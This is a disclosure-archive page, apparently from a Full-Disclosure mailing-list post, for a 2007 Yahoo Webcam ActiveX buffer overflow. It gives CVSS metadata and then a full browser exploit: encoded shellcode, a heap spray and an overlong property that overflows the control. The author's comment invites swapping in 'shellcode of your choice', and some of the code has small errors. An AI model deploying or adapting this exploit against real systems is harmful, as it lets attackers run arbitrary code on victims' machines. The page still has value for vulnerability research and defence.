Yahoo 0day ActiveX Webcam Exploit

2007.06.19
Credit: Danny
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<html> <!-- 45 minutes of fuzzing! Great results! very relible, runs calc.exe, replace with shellcode of your choice!!! link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 maybe more vulz! Greetz to: str0ke and shinnai! --> <html> <script> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target' shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; xi<800; x++) memory[x] = block + shellcode; var buffer = 'x0a'; while (buffer.length < 5000) buffer+='x0ax0ax0ax0a'; target.server = buffer; target.initialize(); target.send(); </script> </html> sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111 --------------------------------- Luggage? GPS? Comic books? Check out fitting gifts for grads at Yahoo! Search. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070606/5c9160c0/attachment.html


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